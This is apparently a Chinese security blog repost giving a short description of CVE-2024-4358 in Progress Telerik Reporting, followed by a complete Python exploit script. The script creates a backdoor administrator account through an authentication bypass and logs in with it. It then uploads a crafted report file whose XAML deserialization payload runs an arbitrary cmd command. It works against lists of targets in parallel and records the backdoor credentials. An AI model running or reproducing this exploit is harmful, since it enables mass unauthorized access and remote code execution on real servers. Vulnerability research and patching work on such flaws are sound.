免责声明:本文所涉及的信息安全技术知识仅供参考和学习之用,并不构成任何明示或暗示的保证。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本文作者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,本文作者不对因使用本文内容而导致的任何直接、间接、特殊或后果性损失承担责任。读者在使用本文内容时应当遵守当地法律法规,并保证不违反任何相关法律法规。 |
此漏洞允许远程攻击者绕过受影响的Progress Software TelerikReporting安装的身份验证。利用此漏洞不需要身份验证。
Register方法的实现中存在特定缺陷。此问题是由于未验证当前安装步骤造成的。攻击者可以利用此漏洞绕过系统上的身份验证。
poc&exp
import
warnings
import
os
import
requests
requests.packages.urllib3.disable_warnings()
import
zipfile
import
base64
import
random
import
argparse
from
concurrent.futures
import
ThreadPoolExecutor, as_completed
from
colorama
import
Fore, Style, init
from
sys
import
stdout
init(autoreset=
True
)
def
clear
()
:
os.system(
'clear'
if
os.name ==
'posix'
else
'cls'
)
def
saveCredentials
(username, password, target)
:
with
open(
'credentials.txt'
,
'a'
)
as
file:
file.write(
f"Target:
{target}
, Username:
{username}
, Password:
{password}
n"
)
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Saving credentials to credentials.txt
{Fore.RED}
-
{Fore.GREEN}
[Success!]"
)
def
authBypassExploit
(username, password, target)
:
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Attempting to bypass authentication
{Fore.RED}
-
{Fore.GREEN}
[Success!]"
)
try
:
res = s.post(
f"
{target}
/Startup/Register"
, data={
"Username"
: username,
"Password"
: password,
"ConfirmPassword"
: password,
"Email"
:
f"
{username}
@
{username}
.com"
,
"FirstName"
: username,
"LastName"
: username}, timeout=
100
)
except
requests.RequestException:
return
False
if
res.url ==
f"
{target}
/Report/Index"
:
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Authentication bypass was successful, backdoor account created
{Fore.RED}
-
{Fore.GREEN}
[Success!]"
)
saveCredentials(username, password, target)
return
True
else
:
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Authentication bypass failed, result was:
{Fore.WHITE}
{res.text}
{Fore.RED}
-
{Fore.RED}
[Failed!]"
)
return
False
def
deserializationExploit
(serializedPayload, authorizationToken, target)
:
reportName =
''
.join(random.choices(
'abcdefghijklmnopqrstuvwxyz'
, k=
10
))
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Generated random report name:
{Fore.WHITE}
{reportName}
{Fore.RED}
-
{Fore.GREEN}
[Success!]"
)
categoryName =
''
.join(random.choices(
'abcdefghijklmnopqrstuvwxyz'
, k=
10
))
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Creating malicious report under name
{Fore.WHITE}
{reportName}
{Fore.RED}
-
{Fore.GREEN}
[Success!]"
)
try
:
res = s.post(
f"
{target}
/api/reportserver/report"
, headers={
"Authorization"
:
f"Bearer
{authorizationToken}
"
}, json={
"reportName"
:reportName,
"categoryName"
:
"Samples"
,
"description"
:
None
,
"reportContent"
:serializedPayload,
"extension"
:
".trdp"
}, timeout=
100
)
except
requests.RequestException:
return
False
if
res.status_code !=
200
:
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Report creation failed, result was:
{Fore.WHITE}
{res.text}
{Fore.RED}
-
{Fore.RED}
[Failed!]"
)
return
False
try
:
res = s.post(
f"
{target}
/api/reports/clients"
, json={
"timeStamp"
:
None
}, timeout=
100
)
except
requests.RequestException:
return
False
if
res.status_code !=
200
:
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Fetching clientID failed, result was:
{Fore.WHITE}
{res.text}
{Fore.RED}
-
{Fore.RED}
[Failed!]"
)
return
False
clientID = res.json()[
'clientId'
]
try
:
res = s.post(
f"
{target}
/api/reports/clients/
{clientID}
/parameters"
, json={
"report"
:
f"NAME/Samples/
{reportName}
/"
,
"parameterValues"
:{}}, timeout=
100
)
except
requests.RequestException:
return
False
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Deserialization exploit finished
{Fore.RED}
-
{Fore.GREEN}
[Success!]"
)
def
login
(username, password, target)
:
try
:
res = s.post(
f"
{target}
/Token"
, data={
"grant_type"
:
"password"
,
"username"
:username,
"password"
: password}, timeout=
100
)
except
requests.RequestException:
return
None
if
res.status_code !=
200
:
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Authentication failed, result was:
{Fore.WHITE}
{res.text}
{Fore.RED}
-
{Fore.RED}
[Failed!]"
)
return
None
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Successfully authenticated as
{Fore.WHITE}
{username}
{Fore.GREEN}
with password
{Fore.WHITE}
{password}
{Fore.RED}
-
{Fore.GREEN}
[Success!]"
)
print(
f"
{Fore.YELLOW}
[CVE-2024-4358]
{Fore.RED}
-
{Fore.WHITE}
{target}
{Fore.RED}
-
{Fore.GREEN}
Got token:
{Fore.WHITE}
{res.json()[
'access_token'
]}
{Fore.RED}
-
{Fore.GREEN}
[Success!]"
)
return
res.json()[
'access_token'
]
def
readAndEncode
(file_path)
:
with
open(file_path,
'rb'
)
as
file:
encoded = base64.b64encode(file.read()).decode(
'utf-8'
)
return
encoded
def
writePayload
(output_filename, command)
:
with
zipfile.ZipFile(output_filename,
'w'
)
as
zipf:
zipf.writestr(
'[Content_Types].xml'
,
'''<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>'''
)
zipf.writestr(
"definition.xml"
,
f'''<Report Width="6.5in" Name="oooo"
xmlns="http://schemas.telerik.com/reporting/2023/1.0">
<Items>
<ResourceDictionary
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:System="clr-namespace:System;assembly:mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider MethodName="Start" >
<ObjectInstance>
<Diag:Process>
<StartInfo>
<Diag:ProcessStartInfo FileName="cmd" Arguments="/c
{command}
"></Diag:ProcessStartInfo>
</StartInfo>
</Diag:Process>
</ObjectInstance>
</ODP:ObjectDataProvider>
</ResourceDictionary>
</Items>'''
)
def
banner
()
:
clear()
stdout.write(
" n"
)
stdout.write(
""
+ Fore.LIGHTRED_EX +
"███████╗██╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗n"
)
stdout.write(
""
+ Fore.LIGHTRED_EX +
"██╔════╝██║ ██╔╝███║██╔══██╗██╔══██╗██╔═████╗██║ ██║╚══███╔╝n"
)
stdout.write(
""
+ Fore.LIGHTRED_EX +
"███████╗█████╔╝ ╚██║██║ ██║██████╔╝██║██╔██║██║ █╗ ██║ ███╔╝ n"
)
stdout.write(
""
+ Fore.LIGHTRED_EX +
"╚════██║██╔═██╗ ██║██║ ██║██╔══██╗████╔╝██║██║███╗██║ ███╔╝ n"
)
stdout.write(
""
+ Fore.LIGHTRED_EX +
"███████║██║ ██╗ ██║██████╔╝██║ ██║╚██████╔╝╚███╔███╔╝███████╗n"
)
stdout.write(
""
+ Fore.LIGHTRED_EX +
"╚══════╝╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ ╚══════╝n"
)
stdout.write(
""
+ Fore.YELLOW +
"════════════════════════════════════════════════════════════════════════════════════════n"
)
stdout.write(
""
+ Style.BRIGHT + Fore.YELLOW +
f"
{
'Coded by Sk1drowz'
.center(
80
)}
n"
)
stdout.write(
""
+ Style.BRIGHT + Fore.YELLOW +
f"
{
'CVE-2024-4358'
.center(
80
)}
n"
)
stdout.write(
""
+ Style.BRIGHT + Fore.YELLOW +
f"
{
'Copyright By: @sinsinology - Github'
.center(
80
)}
n"
)
stdout.write(
""
+ Fore.YELLOW +
"════════════════════════════════════════════════════════════════════════════════════════n"
)
print(
f"
{Fore.YELLOW}
[Warning!] -
{Fore.GREEN}
Priv8 Use Only !n"
)
def
exploit
(target, command)
:
randomUsername =
''
.join(random.choices(
'abcdefghijklmnopqrstuvwxyz'
, k=
10
))
randomPassword =
''
.join(random.choices(
'abcdefghijklmnopqrstuvwxyz'
, k=
10
))
print(
"(*) Random backdoor username: "
+ randomUsername)
print(
"(*) Random backdoor password: "
+ randomPassword)
try
:
if
authBypassExploit(randomUsername, randomPassword, target):
authorizationToken = login(randomUsername, randomPassword, target)
if
authorizationToken:
writePayload(output_filename, command)
deserializationExploit(readAndEncode(output_filename).strip(), authorizationToken, target)
except
(requests.RequestException, KeyboardInterrupt):
saveCredentials(randomUsername, randomPassword, target)
clear()
print(
"Saved to credentials.txt"
)
exit(
0
)
output_filename =
'exploit.trdp'
banner()
parser = argparse.ArgumentParser(usage=
r'python CVE-2024-4358.py --target-file targets.txt -c "whoami > C:pwned.txt" --threads 10'
)
parser.add_argument(
'--target-file'
,
'-tf'
, dest=
'target_file'
, help=
'File containing target IPs and ports (one per line, e.g: http://192.168.1.1:83)'
, required=
True
)
parser.add_argument(
'--command'
,
'-c'
, dest=
'command'
, help=
'Command to execute'
, required=
True
)
parser.add_argument(
'--threads'
,
'-th'
, dest=
'threads'
, type=int, help=
'Number of threads to use (max: 100)'
)
args = parser.parse_args()
if
args.threads >
100
:
print(
"(-) Maximum number of threads is 100."
)
exit(
1
)
with
open(args.target_file,
'r'
)
as
file:
targets = [line.strip().rstrip(
'/'
)
for
line
in
file
if
line.strip()]
s = requests.Session()
s.verify =
False
with
ThreadPoolExecutor(max_workers=args.threads)
as
executor:
futures = [executor.submit(exploit, target, args.command)
for
target
in
targets]
for
future
in
as_completed(futures):
future.result()
print(
"Saved to credentials.txt"
)
原文始发于微信公众号(漏洞猎人):CVE-2024-4358
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论